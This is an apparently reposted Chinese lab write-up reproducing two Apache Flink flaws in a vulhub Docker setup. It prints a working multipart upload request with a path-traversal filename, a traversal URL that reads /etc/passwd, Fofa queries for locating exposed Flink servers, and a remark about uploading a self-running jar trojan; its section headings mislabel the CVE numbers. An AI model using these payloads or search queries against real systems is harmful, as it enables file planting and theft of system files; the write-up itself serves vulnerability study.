(CVE-2020-17518&17519)Apache flink 任意文件上傳&目錄遍歷


參考連接:https://mp.weixin.qq.com/s/Nzh5QxMK3XMoISE6Y3UJMA

描述

2021年1月5日,Apache 官方發布新的漏洞通告,修復了flink兩個高危漏洞(CVE-2020-17518/17519)。這兩個高危漏洞均由於引入存在缺陷的REST API導致。
CVE-2020-17518:攻擊者通過構造惡意的HTTP請求配合../實現目錄穿越,可完成任意文件上傳。
CVE-2020-17519:攻擊者通過JobManager的REST API接口結合../實現目錄遍歷,進而實現任意文件讀取。

影響版本

CVE-2020-17518:
Apache Flink 1.5.1-1.11.2
CVE-2020-17519:
Apache Flink 1.11.0、1.11.1、1.11.2

Fofa

app="Apache-Flink"
app="Apache‐Flink" && country="CN"

環境搭建

項目地址:
https://github.com/vulhub/vulhub/tree/master/flink
(因為不會下載單個地址於是就下載了整個項目)
具體注意事項請參考https://github.com/vulhub/vulhub/blob/master/README.zh-cn.md
1.進入項目地址

cd vulhub/flink/CVE-2020-17518
docker-compose up -d


2.查看docker環境,發現已自動啟動docker環境

docker ps


3.嘗試訪問文件,環境搭建成功

http://<ip>:8081/

CVE-2020-15718漏洞復現

POC

POST /jars/upload HTTP/1.1
Host: localhost:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 187

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

success
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

漏洞地址在下方圖片位置

可直接上傳jar類型木馬(木馬會自動執行)
請參考:https://www.cnblogs.com/KHZ521/p/14023011.html
可通過../../的方式進行路徑跳轉

上傳失敗提示:

上傳成功提示

這里查看上傳文件發現不存在,可能是因為docker環境搭建的,而我訪問的是docker外的物理路徑

CVE-2020-15719漏洞復現

POC

/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fpasswd

結束語

我測試了一下我上面出現的關於文件上傳失敗的問題,其實是文件上傳成功的,不過因為是docker環境嗎,而我查看的路徑為物理機路徑,應該查看dokcer中的路徑才正確。是根據CVE-2020-15719中的文件讀取,在etc下使用vi新建123文件,但是讀取失敗並提示找不到文件得到的結論

使用vi新建123文件

讀取失敗了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM